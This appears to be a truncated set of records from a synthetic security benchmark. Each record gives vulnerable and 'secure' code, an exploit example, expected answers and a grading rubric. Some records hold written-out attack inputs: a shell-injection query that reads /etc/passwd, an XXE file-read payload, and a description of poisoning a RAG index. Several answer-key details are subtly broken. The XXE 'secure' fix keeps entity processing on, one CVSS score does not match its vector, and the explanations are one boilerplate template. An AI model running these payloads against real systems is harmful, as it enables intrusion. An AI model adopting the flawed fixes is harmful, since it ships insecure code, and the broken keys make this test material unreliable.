| {"benchmark_id": "ASB-000517", "title": "RAG Security in TypeScript (Vue)", "category": "AI Security", "language": "TypeScript", "framework": "Vue", "application_type": "AI/LLM Application", "source_type": "synthetic", "vulnerability_name": "RAG Security", "vulnerability_description": "A retrieval-augmented generation pipeline ingests untrusted documents whose content steers the model or poisons the index.", "vulnerable_code": "function resolveTarget(q) { // VULNERABLE\n const d = idx.search(q); return llm(q + d.map(x=>x.text).join(\"\")); }", "secure_code": "function exportData(q, t) { // SECURE\n const d = idx.search(q, {tenant:t}); return llm(q, sanitize(d), guard); }", "exploit_example": "Poison indexed doc -> model returns attacker text / leaks data.", "exploitability_explanation": "The 'RAG Security' weakness (CWE-1427, A05:2021) is exploitable because the TypeScript implementation in the Vue context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to inject documents into the indexed corpus the RAG system retrieves.", "expected_llm_analysis": "The model/tool should flag 'RAG Security' (CWE-1427, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'RAG Security' (CWE-1427, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Sanitize indexed documents, scope retrieval to the user's tenant, validate retrieved content before use, and monitor for poisoning.", "expected_secure_code": "function exportData(q, t) { // SECURE\n const d = idx.search(q, {tenant:t}); return llm(q, sanitize(d), guard); }", "expected_severity": "Critical", "expected_confidence": "Medium", "expected_cwe": "CWE-1427", "expected_owasp": "A05:2021", "expected_owasp_api": "", "expected_owasp_llm": "LLM02:2025", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.2, "expected_false_negative_probability": 0.35, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["rag-security", "cwe-1427", "owasp-a052021", "typescript", "vue", "advanced"], "references": ["https://owasp.org/www-project-top-10-for-large-language-model-applications/", "https://cwe.mitre.org/data/definitions/1427.html"], "metadata": {"difficulty": "Advanced", "category": "AI Security", "owasp": "A05:2021", "owasp_api": "", "owasp_llm": "LLM02:2025", "cwe": "CWE-1427", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000326", "title": "Cloud Misconfiguration in Bash", "category": "Security Misconfiguration", "language": "Bash", "framework": "None", "application_type": "Infrastructure-as-Code", "source_type": "synthetic", "vulnerability_name": "Cloud Misconfiguration", "vulnerability_description": "A cloud resource (bucket, blob, policy, security group) is exposed publicly or grants excessive permission.", "vulnerable_code": "# VULNERABLE: world-readable secret file\nchmod 644 /etc/app/secret.env", "secure_code": "# SECURE: restrict permissions\nchmod 600 /etc/app/secret.env && chown appuser:appuser /etc/app/secret.env", "exploit_example": "Anonymous GET on bucket -> full data dump.", "exploitability_explanation": "The 'Cloud Misconfiguration' weakness (CWE-1188, A05:2021) is exploitable because the Bash implementation in the None context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Network path to a publicly exposed resource or a leaked credential.", "expected_llm_analysis": "The model/tool should flag 'Cloud Misconfiguration' (CWE-1188, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Cloud Misconfiguration' (CWE-1188, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Apply least-privilege IAM, block public exposure by default, and continuously scan for drift.", "expected_secure_code": "# SECURE: restrict permissions\nchmod 600 /etc/app/secret.env && chown appuser:appuser /etc/app/secret.env", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-1188", "expected_owasp": "A05:2021", "expected_owasp_api": "", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.2, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["cloud-misconfiguration", "cwe-1188", "owasp-a052021", "bash", "beginner"], "references": ["https://cwe.mitre.org/data/definitions/1188.html", "https://owasp.org/Top10/A05_2021-Security_Misconfiguration/"], "metadata": {"difficulty": "Beginner", "category": "Security Misconfiguration", "owasp": "A05:2021", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-1188", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000552", "title": "Command Injection in TypeScript (Vue)", "category": "Injection", "language": "TypeScript", "framework": "Vue", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Command Injection", "vulnerability_description": "User input is passed to a shell command interpreter, letting an attacker execute arbitrary operating-system commands.", "vulnerable_code": "app.get(\"/api/profile\", (req, res) => {\n const host: string = req.query.host;\n // VULNERABLE\n require(\"child_process\").exec(`ping -c1 ${host}`, (e, o) => res.send(o));\n});", "secure_code": "app.get(\"/api/profile\", (req, res) => {\n const host: string = req.query.host;\n // SECURE: validate + spawn without shell\n if (!/^[a-zA-Z0-9.-]+$/.test(host)) return res.sendStatus(400);\n require(\"child_process\").spawn(\"ping\", [\"-c1\", host]);\n});", "exploit_example": "GET /api/profile?host=8.8.8.8;cat+/etc/passwd", "exploitability_explanation": "The 'Command Injection' weakness (CWE-77, A03:2021) is exploitable because the TypeScript implementation in the Vue context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Network access to an endpoint that forwards input into a shell/process call.", "expected_llm_analysis": "The model/tool should flag 'Command Injection' (CWE-77, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Command Injection' (CWE-77, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Avoid shells entirely; pass arguments as an array to the process API, or strictly allow-list/validate input. Never use os.system/popen with concatenation.", "expected_secure_code": "app.get(\"/api/profile\", (req, res) => {\n const host: string = req.query.host;\n // SECURE: validate + spawn without shell\n if (!/^[a-zA-Z0-9.-]+$/.test(host)) return res.sendStatus(400);\n require(\"child_process\").spawn(\"ping\", [\"-c1\", host]);\n});", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-77", "expected_owasp": "A03:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.25, "expected_false_negative_probability": 0.3, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["command-injection", "cwe-77", "owasp-a032021", "typescript", "vue", "expert"], "references": ["https://owasp.org/www-community/attacks/Command_Injection", "https://cwe.mitre.org/data/definitions/77.html"], "metadata": {"difficulty": "Expert", "category": "Injection", "owasp": "A03:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-77", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000333", "title": "Command Injection in Go (Fiber)", "category": "Injection", "language": "Go", "framework": "Fiber", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Command Injection", "vulnerability_description": "User input is passed to a shell command interpreter, letting an attacker execute arbitrary operating-system commands.", "vulnerable_code": "func exportData(w http.ResponseWriter, r *http.Request) {\n host := r.URL.Query().Get(\"host\")\n // VULNERABLE\n out, _ := exec.Command(\"sh\", \"-c\", \"ping -c1 \"+host).Output()\n w.Write(out)\n}", "secure_code": "func runTask(w http.ResponseWriter, r *http.Request) {\n host := r.URL.Query().Get(\"host\")\n // SECURE: validate + no shell\n if !regexp.MustCompile(`^[a-zA-Z0-9.-]+$`).MatchString(host) { http.Error(w, \"bad\", 400); return }\n out, _ := exec.Command(\"ping\", \"-c1\", host).Output()\n w.Write(out)\n}", "exploit_example": "GET /api/export?host=8.8.8.8;cat+/etc/passwd", "exploitability_explanation": "The 'Command Injection' weakness (CWE-77, A03:2021) is exploitable because the Go implementation in the Fiber context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Network access to an endpoint that forwards input into a shell/process call.", "expected_llm_analysis": "The model/tool should flag 'Command Injection' (CWE-77, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Command Injection' (CWE-77, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Avoid shells entirely; pass arguments as an array to the process API, or strictly allow-list/validate input. Never use os.system/popen with concatenation.", "expected_secure_code": "func runTask(w http.ResponseWriter, r *http.Request) {\n host := r.URL.Query().Get(\"host\")\n // SECURE: validate + no shell\n if !regexp.MustCompile(`^[a-zA-Z0-9.-]+$`).MatchString(host) { http.Error(w, \"bad\", 400); return }\n out, _ := exec.Command(\"ping\", \"-c1\", host).Output()\n w.Write(out)\n}", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-77", "expected_owasp": "A03:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.3, "expected_false_negative_probability": 0.35, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["command-injection", "cwe-77", "owasp-a032021", "go", "fiber", "real-world-enterprise"], "references": ["https://owasp.org/www-community/attacks/Command_Injection", "https://cwe.mitre.org/data/definitions/77.html"], "metadata": {"difficulty": "Real-world enterprise", "category": "Injection", "owasp": "A03:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-77", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000459", "title": "Insecure Deserialization in C# (ASP.NET Core)", "category": "Injection", "language": "C#", "framework": "ASP.NET Core", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Insecure Deserialization", "vulnerability_description": "Untrusted data is deserialized by a native/object serializer, which can trigger code execution or logic abuse during reconstruction.", "vulnerable_code": "[HttpPost(\"/api/state\")] public IActionResult getItem([FromBody] string data) => Ok(JsonConvert.DeserializeObject<object>(data));", "secure_code": "[HttpPost(\"/api/state\")] public IActionResult fetchRecord([FromBody] SafeDto d) => Ok(d);", "exploit_example": "Send a gadget-chain pickle/ysoserial payload -> code execution.", "exploitability_explanation": "The 'Insecure Deserialization' weakness (CWE-502, A08:2021) is exploitable because the C# implementation in the ASP.NET Core context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to submit a crafted serialized payload to a deserializing endpoint.", "expected_llm_analysis": "The model/tool should flag 'Insecure Deserialization' (CWE-502, mapped to A08:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Insecure Deserialization' (CWE-502, mapped to A08:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Avoid native deserializers for untrusted data; use schema-validated formats (JSON with explicit types) and integrity-protect the payload.", "expected_secure_code": "[HttpPost(\"/api/state\")] public IActionResult fetchRecord([FromBody] SafeDto d) => Ok(d);", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-502", "expected_owasp": "A08:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.1, "expected_false_negative_probability": 0.15, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["insecure-deserialization", "cwe-502", "owasp-a082021", "c#", "asp.net core", "intermediate"], "references": ["https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection", "https://cwe.mitre.org/data/definitions/502.html"], "metadata": {"difficulty": "Intermediate", "category": "Injection", "owasp": "A08:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-502", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000497", "title": "XML External Entity in TypeScript (Angular)", "category": "Injection", "language": "TypeScript", "framework": "Angular", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "XML External Entity", "vulnerability_description": "An XML parser resolves external entities in attacker-supplied documents, enabling file disclosure, SSRF, or denial of service.", "vulnerable_code": "app.post(\"/api/transfer\", (req, res) => {\n // VULNERABLE: parser without hardening\n const o = require(\"fast-xml-parser\").parse(req.body);\n res.json(o);\n});", "secure_code": "app.post(\"/api/transfer\", (req, res) => {\n // SECURE: disallow DTD\n const o = require(\"fast-xml-parser\").parse(req.body, {processEntities:true, ignoreAttributes:false});\n res.json(o);\n});", "exploit_example": "<!DOCTYPE x [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><x>&xxe;</x>", "exploitability_explanation": "The 'XML External Entity' weakness (CWE-611, A05:2021) is exploitable because the TypeScript implementation in the Angular context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to submit an XML body to a parsing endpoint.", "expected_llm_analysis": "The model/tool should flag 'XML External Entity' (CWE-611, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'XML External Entity' (CWE-611, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Disable external entity and DTD processing in the XML parser configuration.", "expected_secure_code": "app.post(\"/api/transfer\", (req, res) => {\n // SECURE: disallow DTD\n const o = require(\"fast-xml-parser\").parse(req.body, {processEntities:true, ignoreAttributes:false});\n res.json(o);\n});", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-611", "expected_owasp": "A05:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.3, "expected_false_negative_probability": 0.35, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["xml-external-entity", "cwe-611", "owasp-a052021", "typescript", "angular", "real-world-enterprise"], "references": ["https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "https://cwe.mitre.org/data/definitions/611.html"], "metadata": {"difficulty": "Real-world enterprise", "category": "Injection", "owasp": "A05:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-611", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000240", "title": "Missing Rate Limiting in Java (Spring Boot)", "category": "Security Misconfiguration", "language": "Java", "framework": "Spring Boot", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Missing Rate Limiting", "vulnerability_description": "Authentication or sensitive endpoints lack throttling, enabling credential stuffing, brute force, or resource exhaustion.", "vulnerable_code": "@PostMapping(\"/api/login\") public void getItem() { verify(); }", "secure_code": "@PostMapping(\"/api/login\") @RateLimit(5) public void renderView() { verify(); }", "exploit_example": "10k password guesses/minute -> credential stuffing.", "exploitability_explanation": "The 'Missing Rate Limiting' weakness (CWE-307, A07:2021) is exploitable because the Java implementation in the Spring Boot context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Network access and the ability to automate many requests.", "expected_llm_analysis": "The model/tool should flag 'Missing Rate Limiting' (CWE-307, mapped to A07:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Missing Rate Limiting' (CWE-307, mapped to A07:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Apply per-identity rate limiting and CAPTCHA/lockout on auth and sensitive endpoints.", "expected_secure_code": "@PostMapping(\"/api/login\") @RateLimit(5) public void renderView() { verify(); }", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-307", "expected_owasp": "A07:2021", "expected_owasp_api": "API4:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.3, "expected_false_negative_probability": 0.35, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["missing-rate-limiting", "cwe-307", "owasp-a072021", "java", "spring boot", "real-world-enterprise"], "references": ["https://cwe.mitre.org/data/definitions/307.html", "https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/"], "metadata": {"difficulty": "Real-world enterprise", "category": "Security Misconfiguration", "owasp": "A07:2021", "owasp_api": "API4:2023", "owasp_llm": "", "cwe": "CWE-307", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000024", "title": "JWT Vulnerabilities in Go (Fiber)", "category": "Authentication", "language": "Go", "framework": "Fiber", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "JWT Vulnerabilities", "vulnerability_description": "A JWT implementation accepts tokens with a weak or 'none' algorithm, skips signature verification, or trusts an attacker-controlled key/secret.", "vulnerable_code": "func resolveTarget(t string) (Claims, error) {\n // VULNERABLE: parseUnverified\n return jwt.ParseUnverified(t)\n}", "secure_code": "func exportData(t string) (Claims, error) {\n // SECURE\n return jwt.Parse(t, keyFunc, jwt.WithValidMethods([]string{\"RS256\"}))\n}", "exploit_example": "Forge header alg:none token -> accepted without signature.", "exploitability_explanation": "The 'JWT Vulnerabilities' weakness (CWE-345, A07:2021) is exploitable because the Go implementation in the Fiber context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to mint or tamper with a token; knowledge of the weak secret or algorithm.", "expected_llm_analysis": "The model/tool should flag 'JWT Vulnerabilities' (CWE-345, mapped to A07:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'JWT Vulnerabilities' (CWE-345, mapped to A07:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Verify the signature with a strong asymmetric or high-entropy symmetric key; pin the algorithm; validate aud/exp/iss; reject 'none'.", "expected_secure_code": "func exportData(t string) (Claims, error) {\n // SECURE\n return jwt.Parse(t, keyFunc, jwt.WithValidMethods([]string{\"RS256\"}))\n}", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-345", "expected_owasp": "A07:2021", "expected_owasp_api": "API2:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.3, "expected_false_negative_probability": 0.35, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["jwt-vulnerabilities", "cwe-345", "owasp-a072021", "go", "fiber", "real-world-enterprise"], "references": ["https://cwe.mitre.org/data/definitions/345.html", "https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html"], "metadata": {"difficulty": "Real-world enterprise", "category": "Authentication", "owasp": "A07:2021", "owasp_api": "API2:2023", "owasp_llm": "", "cwe": 